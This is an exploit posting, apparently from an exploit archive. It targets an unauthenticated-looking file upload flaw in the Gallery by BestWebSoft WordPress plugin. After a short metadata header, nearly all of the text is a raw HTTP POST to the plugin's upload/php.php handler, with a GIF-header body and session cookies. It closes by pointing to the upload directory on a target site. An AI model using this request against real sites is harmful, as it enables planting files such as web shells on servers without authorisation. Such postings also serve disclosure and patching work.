# Exploit Title: Gallery by BestWebSoft wordpress / FILE UPLOAD
# Date: 2017-10-07
# Exploit Author: Fardin
# Vendor Homepage: https://bestwebsoft.com/
# Software Link: https://wordpress.org/plugins/gallery-plugin/
# Version: 2011.1.02
# Tested on: Windows 10
File Upload:
POST /wp/wordpress/wp-content/plugins/gallery-plugin/upload/php.php?qqfile=l.jpg HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-File-Name: 1.jpg
Content-Type: application/octet-stream
Referer: http://localhost/wp/wordpress/wp-admin/post-new.php?post_type=gallery
Content-Length: 4
Cookie: wordpress_2ce714d90e0fead03b983fedc376b357=root%7C1507558252%7CzMpHtgtDX218MLzgQLLXEYBu0pLiLWxk2inAiiC4vgL%7C6e7e72e6350b973eec96beb492ab100a3abf93f057a6795c72c38e3aeaccb449; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_2ce714d90e0fead03b983fedc376b357=root%7C1507558252%7CzMpHtgtDX218MLzgQLLXEYBu0pLiLWxk2inAiiC4vgL%7C3191a64a9b479bcbe4e8003db413087f19f5201abd03ad317475e251429774f2; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do; wp-settings-time-1=1507385452
Connection: close
GIF89aX
---------------------------------------------------------------
Your File Upload Dir:
http://www.target.com/wp-content/plugins/gallery-plugin/upload/files/